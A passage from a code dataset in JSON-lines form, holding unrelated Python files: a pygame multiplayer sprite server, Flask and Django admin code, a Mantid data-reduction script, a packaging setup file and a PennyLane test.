\"NPCSprite\", \"entity_data\": {\n \"rect\": [self.rect.x, self.rect.y, self.rect.w, self.rect.h],\n \"animation_dict\": dict((i, [j.image_tuple, j.image_sequence])\n for i, j in self.animation_dict.items()),\n \"behavior\": dict((j, i) for i, j in behavior_lookup.items())[self.behavior],\n \"level\": self.level.name,\n \"scope\": self.scope,\n \"action\": dict((j, i) for i, j in action_lookup.items())[self.action],\n \"action_args\": self.action_args,\n \"health\": None,\n \"max_health\": None\n }\n }\n return json.dumps(result)\n\n def jsonify2(self):\n \"\"\"Converts all necessary information about a sprite into json format\"\"\"\n data = {\"id\": self.entity_id,\n \"x\": self.x,\n \"y\": self.y,\n \"facing\": self.facing.value,\n \"direction\": self.direction.value,\n \"animated\": self.animation.running,\n \"speed\": self.speed_mult,\n \"level\": self.level.name\n }\n return json.dumps(data)\n\n # Execute behavior of the NPC sprite\n def behave(self):\n self.behavior(self)\n\n # Behavour of NPC to stand in place\n def stand(self):\n pass\n\n # Behavour of NPC to wander aimlessly around the map\n def wander(self):\n tilemap = self.level.tilemap\n colliders = self.level.colliders\n if self.cycle > 384:\n self.cycle = 0\n self.dx = random.randint(-1, 1)\n self.dy = random.randint(-1, 1)\n if not self.check_collision(self.dx * 64, self.dy * 64, tilemap, colliders):\n self.dx, self.dy = 0, 0\n self.cycle = 385\n time_step = Sprite.behavior_args['time_step']\n self.cycle += time_step\n if self.cycle <= 80:\n self.movement(tilemap, colliders, time_step)\n self.speed_mult = 1\n else:\n if self.cycle <= 100:\n self.animation.reset()\n\n # Behavour of NPC to panic aimlessly\n def panic(self):\n tilemap = self.level.tilemap\n colliders = self.level.colliders\n if self.cycle > 64:\n self.cycle = 0\n self.dx, self.dy = 0, 0\n while self.dx == 0 and self.dy == 0:\n self.dx = random.randint(-1, 1)\n self.dy = random.randint(-1, 1)\n if not self.check_collision(self.dx, self.dy, tilemap, colliders):\n self.dx, self.dy = 0, 0\n self.cycle = 65\n time_step = Sprite.behavior_args['time_step']\n self.cycle += time_step\n if self.cycle <= 64:\n self.movement(tilemap, colliders, 1.5 * time_step)\n self.speed_mult = 1.5\n else:\n self.animation.reset()\n\n # Behavour of NPC to always move right\n def always_right(self):\n tilemap = self.level.tilemap\n colliders = self.level.colliders\n self.dx = 1\n self.dy = 0\n time_step = Sprite.behavior_args['time_step']\n self.movement(tilemap, colliders, 1.5 * time_step)\n \n # Standard NPC movement\n def movement(self, tilemap, colliders, time_step):\n dx, dy = 0, 0\n speed = 1.0 * time_step\n moved = False\n \n if self.dy == -1:\n dy -= speed\n self.facing.set(\"back\")\n self.direction.set(None)\n moved = True\n \n if self.dy == 1:\n dy += speed\n self.facing.set(\"front\")\n self.direction.set(None)\n moved = True\n \n if self.check_collision(0, dy, tilemap, colliders):\n self.y += dy\n else:\n dy = 0\n self.cycle = 80\n \n if self.dx == -1:\n dx -= speed\n self.direction.set(\"left\") \n moved = True\n \n if self.dx == 1:\n dx += speed\n self.direction.set(\"right\") \n moved = True\n \n if self.check_collision(dx, 0, tilemap, colliders):\n self.x += dx\n else:\n dx = 0\n self.cycle = 80\n\n if not moved:\n self.animation.reset()\n else:\n if self.direction.querry() or self.facing.querry():\n if self.direction.value:\n self.animation = self.animation_dict[self.direction.value]\n else:\n self.animation = self.animation_dict[self.facing.value]\n \n self.animation.update(speed * 1.5)\n self.rect.move_ip(round(self.x - self.rect.x), round(self.y - self.rect.y))\n\n\nclass PlayerSprite(Sprite):\n \"\"\"Subclass for player sprite\"\"\"\n \n def __init__(self, rect, animation_dict, behavior, level, health=None, max_health=None):\n Sprite.__init__(self, rect, animation_dict, behavior, level, \"global\", health=health, max_health=max_health)\n self.facing = Tracker(\"front\")\n self.direction = Tracker(None)\n\n def __repr__(self):\n return \"\"\"\"\"\".format(\n self.entity_id, self.rect, self.health, str(self.level))\n\n def jsonify(self):\n \"\"\"Converts the sprite into a JSON representation of itself\"\"\"\n result = {\"id\": self.entity_id, \"type\": \"PlayerSprite\", \"entity_data\": {\n \"rect\": [self.rect.x, self.rect.y, self.rect.w, self.rect.h],\n \"animation_dict\": dict((i, [j.image_tuple, j.image_sequence])\n for i, j in self.animation_dict.items()),\n \"behavior\": dict((j, i) for i, j in behavior_lookup.items())[self.behavior],\n \"level\": self.level.name,\n \"scope\": \"global\",\n \"health\": None,\n \"max_health\": None\n }\n }\n return json.dumps(result)\n\n # Execute the behavior of the player sprite\n def behave(self):\n self.behavior(self)\n\n # Standard player sprite movement\n def movement(self, args):\n if self.freeze:\n return\n \n keys = args[0]\n time_step = args[1]\n tilemap = args[2]\n colliders = args[3]\n dx = 0\n dy = 0\n player_moved = False\n self.speed_mult = 1.25\n \n if keys[pygame.K_LSHIFT]:\n speed = time_step * 1.25\n else:\n speed = 2.25 * time_step\n self.speed_mult += 1\n \n if keys[pygame.K_w]:\n dy -= speed\n self.facing.set(\"back\")\n self.direction.set(None)\n player_moved = True\n \n if keys[pygame.K_s]:\n dy += speed\n self.facing.set(\"front\")\n self.direction.set(None)\n player_moved = True\n \n if self.check_collision(0, dy, tilemap, colliders):\n self.y += dy\n \n if keys[pygame.K_a]:\n dx -= speed\n self.direction.set(\"left\")\n player_moved = True\n \n if keys[pygame.K_d]:\n dx += speed\n self.direction.set(\"right\")\n player_moved = True\n \n if self.check_collision(dx, 0, tilemap, colliders):\n self.x += dx\n\n # Trigger call for interact\n if keys[pygame.K_SPACE]:\n loaded_globals = [i for i in Sprite.global_sprites if i.level == self.level]\n for s in (loaded_globals + Sprite.loaded_locals):\n if type(s) != PlayerSprite:\n if self.rect.inflate(16, 16).colliderect(s.rect):\n s.action(s.action_args)\n break\n\n if not player_moved:\n self.animation.reset()\n else:\n if self.direction.querry() or self.facing.querry():\n if self.direction.value:\n self.animation = self.animation_dict[self.direction.value]\n else:\n self.animation = self.animation_dict[self.facing.value]\n\n self.animation.update(speed / 2)\n self.rect.move_ip(round(self.x - self.rect.x), round(self.y - self.rect.y))\n\n # Regular player behavior\n def normal(self):\n keys = Sprite.behavior_args['keys']\n time_step = Sprite.behavior_args['time_step']\n tilemap = self.level.tilemap\n colliders = self.level.colliders\n self.movement((keys, time_step, tilemap, colliders))\n\n def jsonify2(self):\n \"\"\"Converts all necessary information about a sprite into json format\"\"\"\n data = {\"id\": self.entity_id,\n \"x\": self.x,\n \"y\": self.y,\n \"facing\": self.facing.value,\n \"direction\": self.direction.value,\n \"animated\": self.animation.running,\n \"speed\": self.speed_mult,\n \"level\": self.level.name\n }\n return json.dumps(data)\n\n\nclass GuestSprite(Sprite):\n \"\"\"Class for sprites that represent multiplayer players\"\"\"\n client_sprites = {}\n active_clients = []\n refresh_class = False\n\n def __init__(self, conn, rect, animation_dict, level, health=None, max_health=None):\n Sprite.__init__(self, rect, animation_dict, GuestSprite.normal, level, \"global\", health=health, max_health=max_health)\n self.facing = Tracker(\"front\")\n self.direction = Tracker(None)\n self.conn = conn\n self.refresh = False\n self.order = []\n\n # Add guest sprite to client sprite dictionary\n GuestSprite.client_sprites[self.entity_id] = self\n conn.send(str.encode(str(self.entity_id)))\n start_new_thread(GuestSprite.client_thread, (self,))\n\n def __repr__(self):\n return \"\"\"\"\"\".format(\n self.entity_id, self.rect, self.health, str(self.level))\n\n def jsonify(self):\n \"\"\"Converts the sprite into a JSON representation of itself\"\"\"\n result = {\"id\": self.entity_id, \"type\": \"GuestSprite\", \"entity_data\": {\n \"rect\": [self.rect.x, self.rect.y, self.rect.w, self.rect.h],\n \"animation_dict\": dict((i, [j.image_tuple, j.image_sequence])\n for i, j in self.animation_dict.items()),\n \"behavior\": dict((j, i) for i, j in behavior_lookup.items())[self.behavior],\n \"level\": self.level.name,\n \"scope\": \"global\",\n \"health\": None,\n \"max_health\": None\n }\n }\n return json.dumps(result)\n\n def behave(self):\n self.behavior(self)\n\n def jsonify2(self):\n \"\"\"Converts all necessary information about a sprite into json format\"\"\"\n data = {\"id\": self.entity_id,\n \"x\": self.x,\n \"y\": self.y,\n \"facing\": self.facing.value,\n \"direction\": self.direction.value,\n \"animated\": self.animation.running,\n \"speed\": self.speed_mult,\n \"level\": self.level.name\n }\n return json.dumps(data)\n\n def normal(self):\n \"\"\"Regular guest sprite behavior, typically used for syncing internal sprite data\"\"\"\n self.rect.x = self.x\n self.rect.y = self.y\n if self.animation.running:\n if self.direction.querry() or self.facing.querry():\n if self.direction.value:\n self.animation = self.animation_dict[self.direction.value]\n else:\n self.animation = self.animation_dict[self.facing.value]\n\n self.animation.update(self.speed_mult * Sprite.behavior_args[\"time_step\"] / 2)\n\n else:\n self.animation.reset()\n\n def client_thread(self):\n \"\"\"Function for maintaining the connection to the clients\"\"\"\n # Order clients to refresh their guest sprite lists due too a new client connecting\n entity_id = self.entity_id\n print(\"Player joined with entity ID:\", entity_id)\n GuestSprite.queue_order(1, entity_id)\n while True:\n try:\n data = self.conn.recv(2048)\n message = data.decode(\"utf-8\")\n if not data:\n print(\"Disconnected\")\n break\n else:\n if message[:3] == \"set\":\n # Set the position reported by the connected client\n m = json.loads(message[3:])\n self.x = m[\"x\"]\n self.y = m[\"y\"]\n self.facing.set(m[\"facing\"])\n self.direction.set(m[\"direction\"])\n self.animation.running = m[\"animated\"]\n self.speed_mult = m[\"speed\"]\n self.level = Level.reference_dict[m[\"level\"]]\n\n # Override standard set command if refresh is queued for this client\n # if self.refresh:\n # self.conn.sendall(str.encode(\"rel\"))\n\n # If an order has been queued, relay that order instead of sprite data\n if len(self.order):\n print(\"Sending Order:\", self.order)\n if self.order[0][0] == 1:\n print(\"Telling\", entity_id, \"to add\", self.order[0][1])\n self.conn.sendall(str.encode(\"add\" + str(self.order[0][1])))\n elif self.order[0][0] == 2:\n print(\"Telling\", entity_id, \"to delete\", self.order[0][1])\n self.conn.sendall(str.encode(\"del\" + str(self.order[0][1])))\n self.order.pop(0)\n else:\n # Send the sprite data to the client\n local_sprites = [i for i in Sprite.loaded_locals if i.level.name == self.level.name]\n entity_count = len(Sprite.global_sprites) + len(local_sprites) - 1\n self.conn.sendall(str.encode(\"upd\" + str(entity_count)))\n for i in Sprite.global_sprites + local_sprites:\n if i.entity_id != entity_id:\n self.conn.recv(2048)\n self.conn.sendall(str.encode(i.jsonify2()))\n\n elif message[:3] == \"pst\":\n # Pre-set, client ONLY wants to inform server of its position\n m = json.loads(message[3:])\n self.x = m[\"x\"]\n self.y = m[\"y\"]\n self.facing.set(m[\"facing\"])\n self.direction.set(m[\"direction\"])\n self.animation.running = m[\"animated\"]\n self.speed_mult = m[\"speed\"]\n self.level = Level.reference_dict[m[\"level\"]]\n self.conn.sendall(str.encode(\"Ack\"))\n\n elif message == \"spr\":\n # Client wants to know about the other sprites, excluding its own\n entity_count = len(Sprite.global_sprites) + len(Sprite.local_sprites) - 1\n self.conn.sendall(str.encode(str(entity_count)))\n for i in Sprite.global_sprites + Sprite.local_sprites:\n if entity_id != i.entity_id:\n reply = i.jsonify()\n package_count = ceil(len(reply) / 2048)\n self.conn.recv(2048)\n self.conn.sendall(str.encode(str(package_count)))\n if package_count == 1:\n self.conn.recv(2048)\n self.conn.sendall(str.encode(reply))\n else:\n for j in range(int(len(reply) / 2048)):\n self.conn.recv(2048)\n self.conn.sendall(str.encode(reply[(2048 * i):(2048 * (i + 1))]))\n time.sleep(0.1)\n self.conn.recv(2048)\n self.conn.sendall(str.encode(reply[(2048 * int(len(reply) / 2048)):]))\n print(entity_id, \"> Finished downloading sprites\")\n\n # If the client has not already been marked as ready to receive requests, do so now.\n if self not in GuestSprite.active_clients:\n GuestSprite.active_clients.append(self)\n\n elif message[:3] == \"lvl\":\n # Client wants to know about a level\n print(entity_id, \"> Downloading level:\", message[3:])\n reply = Level.reference_dict[message[3:]].jsonify()\n package_count = ceil(len(reply) / 2048)\n self.conn.sendall(str.encode(str(package_count)))\n time.sleep(0.1)\n if package_count == 1:\n self.conn.recv(2048)\n self.conn.sendall(str.encode(reply))\n else:\n for i in range(int(len(reply) / 2048)):\n self.conn.recv(2048)\n self.conn.sendall(str.encode(reply[(2048 * i):(2048 * (i + 1))]))\n time.sleep(0.1)\n self.conn.recv(2048)\n self.conn.sendall(str.encode(reply[(2048 * int(len(reply) / 2048)):]))\n # Reload \"loaded_locals\" list in the Sprite class\n Sprite.reload_loaded_locals()\n elif message == \"blv\":\n print(entity_id, \"> Asked for levels outline\")\n self.conn.sendall(str.encode(str(len(Level.reference_dict))))\n for i, j in Level.reference_dict.items():\n print(self.conn.recv(2048).decode(\"utf-8\"))\n self.conn.sendall(str.encode(i))\n time.sleep(0.1)\n else:\n print(entity_id, \"attempted to send:\", message)\n except Exception:\n print(\"Connection crashed, is this an error?\")\n print_exc(file=stdout)\n break\n GuestSprite.queue_order(2, entity_id)\n print(self.entity_id, \"lost connection\")\n for i, j in enumerate(Sprite.global_sprites):\n if j.entity_id == entity_id:\n del Sprite.global_sprites[i]\n for i, j in GuestSprite.client_sprites.items():\n if i == entity_id:\n del GuestSprite.client_sprites[i]\n break\n self.conn.close()\n del self\n\n # @classmethod\n # def queue_refresh(cls):\n # for i in cls.active_clients:\n # i.refresh = True\n\n @classmethod\n def queue_order(cls, cmd, cmd_args):\n for i in cls.active_clients:\n i.order.append((cmd, cmd_args))\n\n\nbehavior_lookup = {\"SignSprite.stand\": SignSprite.stand,\n \"NPCSprite.wander\": NPCSprite.wander,\n \"NPCSprite.panic\": NPCSprite.panic,\n \"NPCSprite.always_right\": NPCSprite.always_right,\n \"PlayerSprite.normal\": PlayerSprite.normal,\n \"GuestSprite.normal\": GuestSprite.normal\n }\n","sub_path":"Maze (Multiplayer Tests)/Maze (Server 2)/sprite.py","file_name":"sprite.py","file_ext":"py","file_size_in_byte":52039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"349618958","text":"from datetime import datetime, tzinfo\n\nfrom dateutil.parser import parse\nfrom dateutil.tz import UTC\n\n\ndef as_datetime(value):\n date = value\n if not isinstance(date, datetime):\n date = parse(value)\n if date.tzinfo is not None:\n date = date.astimezone(UTC)\n else:\n date = date.replace(tzinfo=UTC)\n return date\n","sub_path":"pygitstory/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"362439583","text":"from flask import Flask, jsonify, abort, make_response\nfrom flask import request\n\n# from model import data\n# from .controller import *\nfrom api import api\n\napp = Flask(__name__, static_url_path='')\n\n\ndef energise():\n for dct in api:\n app.route(**dct['route_args'])(dct['fcn'])\n\nif __name__ == '__main__':\n energise()\n app.run(debug=True)\n","sub_path":"restverk.py","file_name":"restverk.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"111564666","text":"\"\"\"\nCompact script to reduce Gd data to MD. Used for generating images for releases\n\"\"\"\nimport os\n\nrun=11499\n#initial energy guess\nEguess=50\n#Energy bins: Emin,Estep,Emax\nErange=\"-10.0,0.2,45.0\"\n#Data directory\t\ndatadir=\"/SNS/SEQ/IPTS-4783/data/\"\n#Output directory\noutdir=\"/SNS/users/3y9/Gd/\"\n#Run via histogramming\ndohist=True\n#Do projections\ndoproj=False\n\n#GetEi and T0 function: note that in different versions of Mantid\n#the Monitor1Spec and monitor2Spec might be \"0\" and \"1\"\ndef GetEiT0(ws_name,EiGuess):\n # Run GetEi algorithm\n [Ei, MonPeak,\n MonIndex, Tzero] = GetEi(InputWorkspace=ws_name, Monitor1Spec=\"1\",\n Monitor2Spec=\"2\", EnergyEstimate=EiGuess)\n # Extract incident energy and T0\n return [Ei,-Tzero]\t\n\t\nfilename=datadir+\"SEQ_\"+str(run)+\"_event.nxs\"\n# Load an event Nexus file\nLoadEventNexus(Filename=filename,OutputWorkspace=\"IWS\")\n# FilterBadPulses(InputWorkspace=\"IWS\",\n# OutputWorkspace = \"IWS\",LowerCutoff = 50)\nLoadNexusMonitors(Filename=filename, OutputWorkspace=\"MonWS\")\n# Get Ei and -T0 using the function defined before\n[Efixed,T0]=GetEiT0(\"MonWS\", Eguess)\n# Change all TOF by -T0\nChangeBinOffset(InputWorkspace=\"IWS\", OutputWorkspace=\"OWS\", Offset=T0)\n# normalize by proton charge\nNormaliseByCurrent(InputWorkspace=\"OWS\",OutputWorkspace=\"OWS\")\n# The algorithm for He3 tube efficiency requires wavelength units\nConvertUnits(InputWorkspace=\"OWS\", OutputWorkspace=\"OWS\", \n Target=\"Wavelength\", EMode=\"Direct\", EFixed=Efixed)\t\n# Apply correction due to absorption in He3\nHe3TubeEfficiency(InputWorkspace=\"OWS\", OutputWorkspace=\"OWS\")\n# Switch to energy transfer\nConvertUnits(InputWorkspace=\"OWS\", OutputWorkspace=\"OWS\",\n Target=\"DeltaE\", EMode=\"Direct\", EFixed=Efixed)\n# Apply k_i/k_f factor\nCorrectKiKf(InputWorkspace=\"OWS\", OutputWorkspace=\"OWS\")\nif dohist:\n # Make sure the bins are correct\n Rebin(InputWorkspace=\"OWS\", OutputWorkspace=\"OWS\",\n Params=Erange, PreserveEvents=False)\n # Convert to differential cross section by dividing by the\n # energy bin width\n ConvertToDistribution(Workspace=\"OWS\")\n \n# Load vanadium file\nLoadNexus(Filename=outdir+\"van.nx5\", OutputWorkspace=\"VAN\")\n# apply overall mask\nMaskDetectors(Workspace=\"OWS\", MaskedWorkspace=\"VAN\")\n# normalize by Vanadium, if desired\nDivide(LHSWorkspace=\"OWS\", RHSWorkspace=\"VAN\",\n OutputWorkspace=\"OWS\")\n\n# Rename workspace to something meaningful\nws_name = \"SEQ_\"+str(run)\nRenameWorkspace(InputWorkspace=\"OWS\", OutputWorkspace=ws_name)\n# Need to fix the goniometer angle by 49.73 degrees\nw = mtd[ws_name]\npsi = w.getRun()[\"CCR13VRot\"].getStatistics().mean + 49.73\nAddSampleLog(Workspace=ws_name, LogName=\"CCR13VRot_Fixed\",\n LogType=\"Number Series\", LogText=str(psi))\n# Set the Goiniometer information\nSetGoniometer(Workspace=ws_name, Axis0=\"CCR13VRot_Fixed,0,1,0,1\")\n# Set the information for the UB matrix\nSetUB(Workspace=ws_name,\n a=3.643, b=3.643, c=5.781, alpha=90, beta=90, gamma=120,\n u='1,1,0', v='0,0,1')\n# Create the MDEventWorkspace\nmd_ws_name=ws_name+'_md'\ntag=\"\"\nif dohist:\n tag += \"h\"\nelse:\n tag += \"e\"\nif doproj:\n tag += \"wp\"\nelse:\n tag += \"np\"\n\nmd_ws_name += \"_\" + tag\nif not doproj:\n ConvertToMDEvents(InputWorkspace=ws_name, OutputWorkspace=md_ws_name,\n QDimensions='Q3D', MinValues='-5,-5,-5,-10',\n QConversionScales='HKL',\n MaxValues='5,5,5,45', MaxRecursionDepth='1')\nelse:\n ConvertToMDEvents(InputWorkspace=ws_name, OutputWorkspace=md_ws_name,\n QDimensions='Q3D', MinValues='-5,-5,-5,-10',\n QConversionScales='HKL',\n MaxValues='5,5,5,45', MaxRecursionDepth='1',\n Uproj='1,1,0', Vproj='1,-1,0', Wproj='0,0,1')\n \n# Remove SPE workspace\nDeleteWorkspace(Workspace=ws_name)\n# Save MDEventWorkspace to a file\nmd_path = os.path.join(outdir, md_ws_name+'.nxs')\nSaveMD(InputWorkspace=md_ws_name, Filename=md_path)\n# Delete MDEventWorkspace for safety\n#DeleteWorkspace(Workspace=md_ws_name)\nlogger.notice(\"Finished run \" + str(run))\n\n","sub_path":"direct_inelastic/SNS/Gd.py","file_name":"Gd.py","file_ext":"py","file_size_in_byte":4127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"356740508","text":"# -*- coding: utf-8\nfrom __future__ import unicode_literals\n\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import user_passes_test\nfrom django.core.urlresolvers import reverse\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render\nfrom django.utils.translation import ugettext as _\nfrom motius_project.models import ProjectTask, ProjectInvitation\nfrom motius_payment.models import Invoice, IbanBankAccount\n\nfrom openpyxl import load_workbook\n\nfrom .models import Project, ProjectMilestone\nfrom .forms import CalculationImportForm, ProjectTaskAssignForm\nfrom .scm import export_to_scm, import_from_scm\n\n\n@user_passes_test(lambda u: u.is_superuser)\ndef project_admin_scm_export(request, selected):\n projects = [Project.objects.get(pk=pk) for pk in selected.split(\",\")]\n\n for project in projects:\n export_to_scm(project)\n\n return HttpResponseRedirect(reverse('admin:motius_project_project_changelist'))\n\n\n@user_passes_test(lambda u: u.is_superuser)\ndef project_admin_scm_import(request, selected):\n projects = Project.objects.filter(pk__in=selected.split(\",\"), scm_id__isnull=False)\n\n for project in projects:\n import_from_scm(project)\n\n messages.add_message(request, messages.INFO, _('Imported %(count)s projects') % {'count': projects.count()})\n\n return HttpResponseRedirect(reverse('admin:motius_project_project_changelist'))\n\n\ndef project_admin_assign_tasks(request, selected):\n tasks = ProjectTask.objects.filter(pk__in=selected.split(\",\"))\n if request.method == 'POST':\n form = ProjectTaskAssignForm(request.POST, request.FILES)\n if form.is_valid():\n for task in tasks:\n task.invitation = form.cleaned_data['invitation']\n task.save()\n messages.add_message(request, messages.SUCCESS, _('Assigned %(tasks)s tasks') % {'tasks': tasks.count()})\n return HttpResponseRedirect(\n reverse('admin:motius_project_projecttask_changelist') +\n '?q=&pk__in=%s' % selected\n )\n else:\n form = ProjectTaskAssignForm()\n return render(request, 'motius_project/admin_assign_tasks.html', {\n 'tasks': tasks,\n 'form': form,\n })\n\n\n@user_passes_test(lambda u: u.is_superuser)\ndef admin_calculation_import(request, pk):\n project = Project.objects.get(pk=pk)\n if request.method == 'POST':\n form = CalculationImportForm(request.POST, request.FILES)\n if form.is_valid():\n if form.cleaned_data['clear_milestones']:\n ProjectMilestone.objects.filter(project=project).delete()\n\n if ProjectMilestone.objects.filter(project=project).exists():\n messages.add_message(\n request,\n messages.ERROR,\n _('There are existing milestones for this project')\n )\n else:\n input_file = request.FILES['file']\n\n try:\n milestone_count, task_count, total_hours = handle_calculation_xlsx(\n input_file,\n project,\n form.cleaned_data\n )\n\n messages.add_message(\n request, messages.SUCCESS,\n _('File imported, %(milestones)s milestones and %(tasks)s tasks created '\n '(%(hours)s hours total)') % {\n 'milestones': milestone_count,\n 'tasks': task_count,\n 'hours': total_hours\n }\n )\n return HttpResponseRedirect(\n reverse('admin:motius_project_projectmilestone_changelist') +\n '?q=&project__id__exact=%s' % project.pk\n )\n except Exception as e:\n messages.add_message(\n request,\n messages.ERROR,\n _('There was an error while importing the excel sheet: %(error)s') % {'error': str(e)}\n )\n else:\n form = CalculationImportForm()\n return render(request, 'motius_project/calculation_upload.html', {\n 'project': project,\n 'form': form,\n })\n\n\ndef handle_calculation_xlsx(input_file, project, form_data):\n \"\"\"\n Create milestones and tasks, keeping track of totals\n :param input_file:\n :param project:\n :param form_data:\n :return:\n \"\"\"\n wb = load_workbook(input_file, data_only=True)\n ws = wb.active\n milestone = None\n milestone_count = task_count = total_hours = 0\n row = form_data['row_start']\n\n while row <= form_data['row_end']:\n excel_milestone = ws.cell(row=row, column=form_data['col_milestones']).value\n excel_task = ws.cell(row=row, column=form_data['col_tasks']).value\n excel_amount = ws.cell(row=row, column=form_data['col_amount']).value\n excel_hours = ws.cell(row=row, column=form_data['col_hours']).internal_value\n\n if excel_milestone not in [\"\", None]:\n milestone = ProjectMilestone(title=excel_milestone, project=project)\n milestone.save()\n milestone_count += 1\n\n if excel_task not in [\"\", None] and excel_amount not in [\"\", None]:\n milestone.tasks.create(name=excel_task, estimated_hours=float(excel_hours))\n total_hours += float(excel_hours)\n task_count += 1\n\n row += 1\n\n return milestone_count, task_count, total_hours\n\n\ndef project_admin_generate_invoice(request, selected):\n \"\"\"\n Generates Invoice and LineItem entries for selected invitations if\n - they don't have an Invoice yet\n - if at least one task was assigned to the invitation\n :return: redirect to the admin view\n \"\"\"\n invitations = ProjectInvitation.objects.filter(pk__in=selected.split(\",\"))\n for invitation in invitations:\n profile = invitation.student\n bank_accounts = IbanBankAccount.objects.filter(student=profile)[:1]\n if invitation.tasks.all() and bank_accounts.exists():\n bank_account = bank_accounts.get()\n invoice = Invoice.objects.create_from_invitation(invitation)\n\n invoice.iban = bank_account.iban\n invoice.bic = bank_account.bic\n invoice.tax_id = bank_account.tax_id\n\n invoice.save()\n\n for task in invitation.tasks.all():\n invoice.line_items.create(\n message=task.get_lineitem_message(),\n amount_net=invitation.payment_invitation * task.worked_hours\n )\n\n invoice.save()\n\n messages.add_message(\n request,\n messages.SUCCESS,\n _('Invoice for %(invitation)s successfully created.') % {'invitation': invitation}\n )\n else:\n messages.add_message(\n request,\n messages.ERROR,\n _('There are no tasks and/or bank accounts assigned to this invitation. Invoice was not generated.')\n )\n\n return HttpResponseRedirect(reverse('admin:motius_project_projectinvitation_changelist'))\n\n\ndef task_admin_generate_invoice(request, selected):\n \"\"\"\n Generates Invoice and LineItem entries for selected tasks\n :return: redirect to the admin view\n \"\"\"\n\n tasks = ProjectTask.objects.filter(pk__in=selected.split(\",\"))\n invitation_pks = list(set([t.invitation.pk for t in tasks]))\n invitations = ProjectInvitation.objects.filter(pk__in=invitation_pks)\n for invitation in invitations:\n bank_accounts = IbanBankAccount.objects.filter(student=invitation.student)[:1]\n if bank_accounts.exists():\n bank_account = bank_accounts.get()\n invoice = Invoice.objects.create_from_invitation(invitation)\n invoice.iban = bank_account.iban\n invoice.bic = bank_account.bic\n invoice.tax_id = bank_account.tax_id\n invoice.save()\n\n for task in tasks.filter(invitation=invitation):\n invoice.line_items.create(\n message=task.get_lineitem_message(),\n amount_net=invitation.payment_invitation * task.worked_hours\n )\n\n invoice.save()\n\n messages.add_message(request, messages.SUCCESS, _('Invoice for %(invitation)s successfully '\n 'created.') % {'invitation': invitation})\n else:\n messages.add_message(request, messages.ERROR, _(\n 'There is no bank account assigned to the %(invitation)s. '\n 'Invoice was not generated.') % {'invitation': invitation}\n )\n\n return HttpResponseRedirect(reverse('admin:motius_payment_invoice_changelist'))\n\n","sub_path":"motius_project/admin_views.py","file_name":"admin_views.py","file_ext":"py","file_size_in_byte":8935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"522342487","text":"from main.enrichers.enricher import Enricher\n\n\nclass IpAddressCombineEnricher(Enricher):\n def __init__(self) -> None:\n enricher_type = \"ip address combine enricher\"\n header = \"ip_src_combined,ip_dst_combined\"\n Enricher.__init__(self, enricher_type, header)\n\n self.ip_dict = {}\n\n def get_information(self, _, information_dict) -> None:\n information_dict[\"ip_dst_combined\"] = information_dict[\"dst_src_information\"][\"dst\"][\"ip_address\"]\n information_dict[\"ip_src_combined\"] = information_dict[\"dst_src_information\"][\"src\"][\"ip_address\"]\n","sub_path":"backend/bin/main/enrichers/ip_address_combine_enricher.py","file_name":"ip_address_combine_enricher.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"194555478","text":"#!/usr/bin/env python\nimport sys\nfrom setuptools import setup\n\n# deps = ['conda', 'requests', 'filelock', 'pyyaml', 'jinja2', 'pkginfo',\n# 'beautifulsoup4', 'chardet', 'pytz', 'tqdm', 'psutil', 'six',\n# 'libarchive-c', 'setuptools']\ndeps = ['pyyaml', 'jinja2', 'setuptools', 'colorama']\n\nsetup(\n name=\"boa\",\n version=\"0.0.1\",\n # cmdclass=versioneer.get_cmdclass(),\n author=\"QuantStack\",\n author_email=\"info@quantstack\",\n url=\"https://github.com/quantstack/boa\",\n license=\"BSD 3-clause\",\n classifiers=[],\n description=\"tools for building conda packages\",\n long_description=open('README.md').read(),\n packages=['boa', 'boa.cli'],\n entry_points={\n 'console_scripts': [\n 'conda-mambabuild = boa.cli.build:main',\n 'boa = boa.cli.render:main'\n ]\n },\n install_requires=deps,\n package_data={'boa': []},\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"225325370","text":"import pennylane as qml\nimport numpy as np\nfrom qcircuit_picker import qcircuit_picker\nfrom wrapper_function import wrapper_function\n\n\nwith open('test_input.in', 'r') as f:\n input = f.readlines()[0]\n\ndef cost(nntype, params, x, y, qcircuit, num_qubits, depth):\n batch_loss = []\n label_vecs = {\n 1: [1, 0, 0],\n 0: [0, 1, 0],\n -1: [0, 0, 1]\n }\n for i in range(len(x)):\n # can we simplify how x is used by qcircuitann()?\n sample = np.zeros((1,3))\n sample[0,0] = x[i][0]\n sample[0,1] = x[i][1]\n sample[0,2] = x[i][2]\n f = qcircuit(nntype, params, sample, range(num_qubits), depth)\n label = label_vecs[y[i]]\n s = 0\n for e in range(3):\n s += abs(f[e] - label[e])**2\n batch_loss.append(s)\n m = 0\n for s in batch_loss:\n m += s\n return m / len(x)\n\nprint(wrapper_function('ann', input, 3, cost, labels={0: 1, 1: 0, 2: -1}))","sub_path":"Hackathon/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"544234780","text":"from flask_restful import Resource, reqparse\nfrom fuelapp.models.fuel_consumption_record import db, FuelConsumptionRecord\n\nparser = reqparse.RequestParser(bundle_errors=True)\nparser.add_argument('odometer', type=float, required=True, help=\"odometer is required parameter!\")\nparser.add_argument('fuelQuantity', type=float, required=True, help=\"fuelQuantity is required parameter!\")\n\n\nclass FuelConsumption(Resource):\n def get(self, record_id):\n return FuelConsumptionRecord.serialize(\n FuelConsumptionRecord.query.filter_by(id=record_id)\n .first_or_404(description='Record with id={} is not 